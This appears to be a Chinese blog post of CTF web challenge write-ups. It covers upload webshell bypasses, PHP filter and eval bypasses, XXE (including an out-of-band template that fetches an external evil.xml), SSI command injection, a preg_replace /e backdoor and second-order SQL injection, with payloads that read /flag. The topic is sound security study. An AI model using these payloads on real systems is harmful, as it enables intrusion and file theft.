当前位置: 首页 > news >正文

web刷题3

[极客大挑战 2019]Upload

打开环境就是文件上传的一道题目

尝试上传php文件

提示要上传image文件,尝试上传图片马

可以看到对文件内容有限制,改成script格式

可以看到上传成功了,但是不知道上传路径,猜一下是uploads,去url直接看看,正确的是upload

在这边可以看到我们上传的图片,接着我们尝试蚁剑连接,直接连接失败了,猜测是执行文件时不是像include函数直接执行文件中的php代码,所以这边上传的图片马没有执行,也就是后缀的问题,这边我们上传图片马的时候用到的后缀和mine类型都是图片,所以这边大概率就是后缀的问题,改一下后缀看看能不能过验证

结果不行,那就尝试其他的后缀绕过,比如空格,双写,大写,php4等方式最后时phtml通过了验证

蚁剑连接成功

[ACTF2020 新生赛]Upload

这题一打开环境和之前做过的一道考试题很像

同样时把鼠标移到灯泡这边会有上传点,还是上传php文件试试看

发现是对后缀有要求,那就还是一样传图片马

直接传上去了,但是一猜也知道和上面一样没解析执行,所以我们还是要改一下后缀或者是用配置文件改这个上传的图片马的解析形式,我们还是抓包改后缀

发现phtml也可以,直接蚁剑连接成功得到flag

这题在仔细看源码的时候会发现有一个有意思的东西

这边再上传文件时,会有一个验证,绑定了一个js文件checkfile(),通过验证才能上传成功,我们可以去看一下他的源码

其实也就是提取文件扩张名,进行对比验证然后判断是否上传,为什么说他有意思,如果我们上传一个图片马,然后抓包去改后缀成php也是直接上传成功,这是因为验证也分前端和后端,这边用js来验证显然时前端的验证,而他后端并没有这一层验证,所以只要绕过前端的这个验证即可上传成功。

[ACTF2020 新生赛]BackupFile

打开环境

什么都没有,源码也没有,但是给了提示找出源文件,这种情况一般就是dirsearch直接扫,一般没有文件,没有思路都可以用dirsearch扫一下,看看能不能得到其他的文件,这边扫出来都是429,也就是访问过于频繁,不过没关系,我们可以去抓一下首字母例如f、i、r等等去找找看有没有特殊的文件名,例如flag,robot,index

例如这边就有一个index.tar.gz、index.tar这显然是一个压缩包可能会有信息或者是index.php.bak这显然是一个备份文件也可能有,都去试试看会发现真正的文件是在index.php.bak我不知道这题是他就是这样子要我们去猜,然后考我们对于这些文件后缀名的熟悉程度还是什么,反正我找这个是找了半天,访问这个下载备份文件,直接用记事本打开

代码审计,上面是直接包含flag文件,会让我们传参key参数,用is_numeric函数来验证是否为纯数字,后面对我们传参的key和一串字符串进行比较,相同就给出flag,这也很清楚,就是若比较,而且前三位和要比较的内容一样那就直接传参key=123即可

[RoarCTF 2019]Easy Calc

进入页面就是一个计算器的页面

输入对应的数字可以进行计算,但是输入字母就不行,除开计算用到的的符号也不行,看源码

提示是设了一个waf,下面有引用的js的代码

$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($("#content").val()),type:'GET',success:function(data){$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);},error:function(){alert("这啥?算不来!");}})return false;})

可以看到是get传参的一个参数num,在calc.php这个函数执行之后输出的结果,我们访问这个函数

在这边可以看到禁用的黑名单,这边只提到了禁用的大部分了符号,这部分的代码没有写出来运算的代码,所以我们传参的参数肯定不止经过这个代码,我们返回去看上面的js代码,这个会把传参的参数献给calc.php这个文件验证之后再回调到这个文件执行,所以其实calc.php应该就是waf,他并没有禁用字母就是禁用了一些字符,我们看一下phpinfo

这边要加一个空格不然访问不进去,php解析会把空格去掉,去掉之后还是原本的执行函数,我们可以通过这个来绕过验证,这边也可以看到很多禁用的函数,大部分是执行函数,他代码的输出逻辑是应该拼接的形式,并且会用eval执行,这就是突破点,所以我们要找一个执行函数,然后找一个绕过函数,再找打flag的位置,第一步是通过黑名单的验证,也就是上面的空格,但是我们还是要上传应该num参数,这个参数内容随便都可以,接着是找flag位置,可以看到大部分执行函数被禁用了,我们用这个var_dump(scandir(chr(47)))看一下各参数的信息,其中var_dump用于输出scandir用于搜索当前目录的文件后面用chr绕过验证,其中47就是/的ASCII

得到flag文件名f1agg,之后用file_get_contents读取文件内容,用var_dump输出,还是用ASCII绕过验证

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[ZJCTF 2019]NiZhuanSiWei

打开直接是源码

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file);  //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?> 

代码审计,有几层验证,首先是一个强比较text参数,这边对text参数也没什么过滤,但是他是用读取文件内容的形式读取的,所以我们要在text文件内写入对应的字符串才行,这边可以用data://协议

?text=data://text/plain,welcome to the zjctf

第二层就是对file文件的应该匹配验证,后面给出了要包含的文件,我们如果直接访问这个文件得不到什么东西,很简单因为这个文件中没有输出函数,所以包含执行后当然没有东西,匹配验证只验证是否有flag,我们这边可以用伪协议来绕过,和上面的payload拼接用&拼接

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

解码得到第三层验证的反序列化,他给了flag的位置,直接令参数等于flag文件,就会用函数读取文件内容并输出了,最后拼接三个payload

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

源码里面有

[MRCTF2020]你传你🐎呢

一个上传的页面

传php文件试试看

显然不行,传图片马

上传成功了,但是还是和上面的一样无法执行,这边还是抓包改一下后缀看看

不论是改后缀还是双写、大写、空格绕过都不行,看来后端对后缀的验证是很严格的,这里还是没有执行图片马所以我们就改配置文件让他执行,我们尝试htaccess文件,直接上传也传不上去

估计是对mine有验证,依旧抓包修改

可以发现上传成功了,接着上传图片马,直接 蚁剑连接即可在根目录找到

[SUCTF 2019]CheckIn

还是一个文件上传的页面

还是尝试php文件

发现没有上传成功,还是被过滤了,还是传图片马

给了提示不能有<?还是改成script,我们抓包修改

上传成功,还是一样的图片马没有被解析执行,一个是用上面的改后缀看看能不能绕过对后缀php的验证,或者是改配置文件类似htaccsee、user.ini.文件,但是这边可以结合上面easy calc的办法,也就是命令执行,这个的前提是有执行函数可以执行var_dump(scandir(chr(47))),执行函数就是我们上传的木马,还是用var_dump(scandir(chr(47)))看一下各参数的信息,然后上面不是说没有解析执行我们传参的图片马吗,我们可以直接访问这个图片马达到这个效果,我们还是先上传配置文件,这边htaccess被过滤了,所以我们用user.ini.

发现给了mine还是不行,是他对文件头也有验证在前面加图片类的文件头即可,我这边加的是gif的

重新上传,还是要改mine

不用再重新上传图片马,直接用一开始传的那个就可以,可以访问到这个文件,可以用蚁剑连接,也可以用命令执行

[BJDCTF2020]The mystery of ip

打开页面,点击flag栏目会回显出我们的ip

说到ip,那就会想到X-Forwarded-For,这个就是代理问题,当发出请求时,会经过几层代理的ip,之后进行拼接,我们尝试抓包修改一下这个

我们把X-Forwarded-For改成1,可以看到回显的IP也变成1了,那么这边是否存在命令执行的漏洞呢,测试一下会发现就是ssti注入

接着查ls根目录

看到flag,直接cat

[BJDCTF2020]ZJCTF,不过如此

这题和上面那题算是联动题,进去直接给源码

<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);  //next.php}
else{highlight_file(__FILE__);
}
?>

和上面一样的过滤,不过这边是两层,第一层还是一样读取的是文件内容,所以我们用data://去写入内容通过强比较的验证

?text=data://text/plain,I have a dream

接着还是给出了要包含的文件名,过滤也只是flag的过滤,直接访问还是什么都没有

上面也说到了,是因为没有输出函数,所以我们用伪协议去读,还是拼接第一个payload用&

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

base64解码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

代码审计,这边就不像上面是反序列化,这边是定义了一个complex函数,里面用preg_replace函数进行替换,其中重要的有/ei,其中/e是把字符串当作php代码执行,后面用foreach函数把id的参数名传入re变量,参数值传入str变量,其实也就是执行complex函数,之后会输出结果,我们的思路是什么通过传参id参数调用下面定义的getFlag函数,从而得到后门

next.php?id=1&\S*=${getFlag()}&cmd=system('ls /');

\S*就是参数名,后面就是参数内容,对应的就是参数re和str,后面是要执行的命令

cat

[NCTF2019]Fake XML cookbook

XXE漏洞详解(全网最详细)零基础入门到精通,收藏这篇就够了-CSDN博客

这题是XXE的漏洞,XXE也是刚去了解到的一个漏洞,是书写XML文档注入达到目的一个漏洞,我们什么时候接触过XML文档呢,是再sql注入中的报错注入的updatexml()函数,我们利用这个函数的错误格式书写来达到报错的目的,现在学XXE,肯定也要涉及到XML文档。

XXE可以用于任意文件读取,命令执行,内网攻击,SSRF攻击等。其中可以利用http协议、file协议达到攻击目的。

下面就用这题来做一个基础的理解。

首先进去是一个登录页面

查看源代码可以看到登录的逻辑

function doLogin(){var username = $("#username").val();var password = $("#password").val();if(username == "" || password == ""){alert("Please enter the username and password!");return;}var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({type: "POST",url: "doLogin.php",contentType: "application/xml;charset=utf-8",data: data,dataType: "xml",anysc: false,success: function (result) {var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;if(code == "0"){$(".msg").text(msg + " login fail!");}else if(code == "1"){$(".msg").text(msg + " login success!");}else{$(".msg").text("error:" + msg);}},error: function (XMLHttpRequest,textStatus,errorThrown) {$(".msg").text(errorThrown + ':' + textStatus);}}); 
}

从这段代码我们可以从几个点看出是XXE攻击

将用户名和密码拼接成XML格式的字符串

发送类型表明是XML格式

指定返回的响应格式是XML

XXE漏洞的构成是由于对外部实体的引用不够严格导致的,所以我们写入代码的位置也是这边

到这里我们基本上确定是XXE攻击,那么XXE攻击书写的XML文档的格式是什么?

XML文档格式分成两层:
1、XML声明:一般用于声明XML的版本或其他字符类型说明等
2、文档类型定义(DTD):声明一些类似HTML的标签或实体便于下一步的应用,这里通常是主体,后面可对定义的标题进行利用

例如XML无回显注入的payload模板

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.xml">
%dtd;
%send;
]>

<?xml version="1.0"?>这个就是XML声明,后面其实都可以当成DTD,这边没有定义标签,二十直接用file协议去读取内容,具体还有很多其他用法前提要求就是对xml文档的书写格式有基本的认识。

题目中我们尝试登录admin,发现是失败的

抓包

可以看发送包,下面对于用户名和密码的书写方式明显就是XML文档的书写方式,我们来看看payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<user><username>&admin;</username><password>123</password></user>

首先就是声明类型,后面外部实体定义一个admin实体,system表示这个实体来自外部资源,后面就是外部资源,最后在拼接好的admin加上&admin;这个是应用上面定义的实体的意思,这样就达到注入的目的了

[MRCTF2020]PYWebsite

进入页面提示购买flag

点击购买会有一个二维码

扫码会得到提示,看页面源码,抓住主要代码

function enc(code){hash = hex_md5(code);return hash;}function validate(){var code = document.getElementById("vcode").value;if (code != ""){if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){alert("您通过了验证!");window.location = "./flag.php"}else{alert("你的授权码不正确!");}}else{alert("请输入授权码");}}

这段代码其实就是判断我们输入的验证码的MD5值是否正确,正确就跳转到提示文件,我们直接看就好了

提示了是关于ip的问题,还有ip要是购买者或者自己,说到ip我们就会想到X-Forwarded-For,所以我们直接抓包修改看看

直接改成本地地址即可

[BSidesCF 2019]Kookie

cookie(储存在用户本地终端上的数据)_百度百科

这题原本应该算是挺简单的一道题目,但是由于对协议的各种参数的作用性质不够熟练导致这题拖了一段时间,所以通过这题我知道我要重视这些基础

进入页面就提示是要用admin登录

这边第一时间猜了一些密码

发现密码错误,第一时间的思路是去爆破看看,抓包爆破密码

会发现最后长度都一样,所以爆破不出来,那么其实仔细理解一下这题的提示,他就是说登录admin账号,我们都知道我们通常用cookie来判断一个用户的身份,所以这也衍生出了很多种攻击方式例如ssrf、XSS、sql等等,他的组成结构从百度百科可以看到大致有六种,像我们现在学到的通常就是利用前两种属性来进行攻击,例如这道题其实很简单,就是修改cookie值

这边是网页对cookie的使用不够严谨,我们登录之后在url栏里面可以看到用户名的参数就是username,所以我们直接给username赋值,甚至跳过了密码这一步,这就是网站自身使用cookie不够严谨导致

[BJDCTF2020]EasySearch

进去还是一个登录界面

正常测试sql和ssti等等没什么结果,去看源码也没看到上面,直接 用dirseaech扫,发现index.php.swp备份文件,访问之后看源码

代码审计,重要点就是要让password的MD5前六号位=6d0bc1,password看登录页面看不出来在哪里,但其实就是第二个空抓包就可以看到,至于前六号位完全可以用脚本爆破一下

比赛是2020年的其实就是第一个,这边尝试登录一下admin,进去发现什么也没有

源码也什么都没有,看响应头上面有提示

访问一下

接下来是关于shtml这个文件格式的一个漏洞Apache SSI 远程命令执行漏洞(SSI注入漏洞)_<!--#exec cmd="ls" -->-CSDN博客

远程命令执行,我们跟着这个漏洞,在登录页面post传参直接看根目录

username=<!--#exec cmd="ls /"-->&password=2020666

接着登录进去去访问这个网址

没看到flag,应该是层级不一样,所以看一下其他层级,正确层级是当前目录上一级

cat

[CISCN 2019 初赛]Love Math

进去直接给源码

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';'); 

代码审计,首先限制传参payload长度小于等于80,后面定义一个黑名单是一系列的符号和空格,后面定义一个白名单,我们传参的参数用到的函数只能在白名单中,最后输出传参的参数的函数运算结果。

那么也就是我们要在他给的白名单中选函数来构造payload进行命令执行,这边用到的是base_convert和dechex这两个函数,这个是php自带的一个内置函数,作用就是把十进制转换成36进制,格式是这样子的base_convert(数字,10,36)第一个数字是要转换的数字,第二个是该数字原本的进制数也就是10,第三个就是36,例如base_convert(10,10,36)的结果就是a;dechex就是把十进制转换成十六进制,格式dechex(数字)。

为什么不可以只用base_convert,因为这个函数本身限制是进制转换,他没办法转换出来_,而dechex可以

知道了要用这两个函数还要知道用上面执行函数,一般就是想到用system,然后用$_GET传参,但是这边不行,因为$_GET本身是超全局变量,如果直接构造出来可能会被正则提取为函数名,所以还要用到get_defined_vars这个函数,而我们用函数构造的也正是这个函数

/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

这个是看wp中的payload,我们来理解一下base_convert()的作用是构造出get_defined_vars,dechex的作用是构造出来_GET,最后pi参数等于get_defined_vars($_GET),用这个来消除$_GET全局变量的限制,一般get_defined_vars是不接受参数的,他的作用是返回包含所有变量的数组后面用{}替代['']也就是被禁用的字符串,最后赋值变量执行cat

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

进去一个类似登录页面的页面

测试sql没什么用,看源码

后面有提示用file,一开始用file协议没读出来,后面用php伪协议

?file=php://filter/convert.base64-encode/resource=index.php

解码

<?phpini_set('open_basedir', '/var/www/html/');// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {echo('no way!');exit;}@include($file);
}
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index</title>
<base href="./">
<meta charset="utf-8" /><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><h2>2077发售了,不来份实体典藏版吗?</h2><img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO--><div class="row"><div class="col-md-8 col-md-offset-2 centered"><h3>提交订单</h3><form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded"><p><h3>姓名:</h3><input type="text" class="subscribe-input" name="user_name"><h3>电话:</h3><input type="text" class="subscribe-input" name="phone"><h3>地址:</h3><input type="text" class="subscribe-input" name="address"></p><button class='btn btn-lg  btn-sub btn-white' type="submit">我正是送钱之人</button></form></div></div></div>
</div><div id="f"><div class="container"><div class="row"><h2 class="mb">订单管理</h2><a href="./search.php"><button class="btn btn-lg btn-register btn-white" >我要查订单</button></a><a href="./change.php"><button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button></a><a href="./delete.php"><button class="btn btn-lg btn-register btn-white" >我不想要了</button></a></div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
<!--?file=?-->

他下面有几个页面都可以读config.phpdiyi

<?phpini_set("open_basedir", getcwd() . ":/etc:/tmp");$DATABASE = array("host" => "127.0.0.1","username" => "root","password" => "root","dbname" =>"ctfusers"
);$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
<?php
//change.php
require_once "config.php";if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = addslashes($_POST["address"]);$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if (isset($fetch) && $fetch->num_rows>0){$row = $fetch->fetch_assoc();$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];$result = $db->query($sql);if(!$result) {echo 'error';print_r($db->error);exit;}$msg = "订单修改成功";} else {$msg = "未找到订单!";}
}else {$msg = "信息不全";
}
?>

confirm

<?phprequire_once "config.php";
//var_dump($_POST);if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{$msg = '';$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';$user_name = $_POST["user_name"];$address = $_POST["address"];$phone = $_POST["phone"];if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){$msg = 'no sql inject!';}else{$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";$fetch = $db->query($sql);}if($fetch->num_rows>0) {$msg = $user_name."已提交订单";}else{$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";$re = $db->prepare($sql);$re->bind_param("sss", $user_name, $address, $phone);$re = $re->execute();if(!$re) {echo 'error';print_r($db->error);exit;}$msg = "订单提交成功";}
} else {$msg = "信息不全";
}
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>确认订单</title>
<base href="./">
<meta charset="utf-8"/><link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet"></head>
<body>
<div id="h"><div class="container"><img class="logo" src="./assets/img/logo-zh.png"><div class="row"><div class="col-md-8 col-md-offset-2 centered"><?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?><a href="./index.php"><button class='btn btn-lg  btn-sub btn-white'>返回</button></a></div></div></div>
</div><div id="f"><div class="container"><div class="row"><p style="margin:35px 0;"><br></p><h2 class="mb">订单管理</h2><a href="./search.php"><button class="btn btn-lg btn-register btn-white" >我要查订单</button></a><a href="./change.php"><button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button></a><a href="./delete.php"><button class="btn btn-lg btn-register btn-white" >我不想要了</button></a></div></div>
</div><script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

代码审计第一个有文件包含和对封装流的禁用,其实就是对php伪协议的选择,其中confirm有给几个参数,而且只对user_name和phone有过滤验证,对address没什么验证,所以这个参数对应输入栏很可能是注入点,看change,也是对user_name和phone有过滤验证,这边对address也有用addslashes()函数转义,那我们就去试一下,这三个参数对应的输入栏也很清楚

经过尝试可以知道这题是二次注入加报错注入,首先去送货界面,随意输出,在地址栏输出注入语句

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

送货之后去修改送货地址随意输入

分段读取

这边的payload用的是substr(load_file('/flag.txt')读取服务器中的flag.txt,首先我不知道为什么他知道flag在这里,还有load_file也很新鲜。

http://www.dtcms.com/a/324743.html

相关文章:

  • 商业解决方案技术栈总结
  • Python 获取对象信息的所有方法
  • 基于Spring Boot和SSE的实时消息推送系统
  • 三数之和 Java
  • 人工智能系列(7)人工神经网络中的无监督学习
  • C语言-数组和指针练习题合集(一)
  • C语言深度剖析
  • 网页五子棋测试
  • VUE+SPRINGBOOT从0-1打造前后端-前后台系统-关于我们
  • 2025最新免费的大模型和免费的大模型API有哪些?(202508更新)
  • 秋招春招实习百度笔试百度管培生笔试题库百度非技术岗笔试|笔试解析和攻略|题库分享
  • 冒泡排序实现以及优化
  • WebSocket集群方案解析与实现
  • My APK 安卓版:高效管理手机应用的工具软件
  • windows的cmd命令【持续更新】
  • Linux应用软件编程---文件操作1(fopen、fclose、fgetc/fputc、fgets/fputs)
  • 什么是浏览器标识?
  • 【Docker进阶实战】从多容器编排到集群部署
  • TSF应用开发与运维部署
  • 个人笔记Mybatis2
  • 医学统计(现况调查的统计分析策略1)
  • 电脑使用“碎片整理”程序的作用
  • 基于ECharts的智慧社区数据可视化
  • 【npm、yarn、pnpm】特点对比,按需选择
  • Java设计模式之开闭原则介绍与说明
  • 【RocketMQ 生产者和消费者】- ConsumeMessageOrderlyService 顺序消费消息
  • Vue.js设计于实现 - 概览(二)
  • 跑酷小游戏2.0
  • C语言(长期更新)第10讲:操作符详解(二)
  • 麻溜启动Oracle实例demo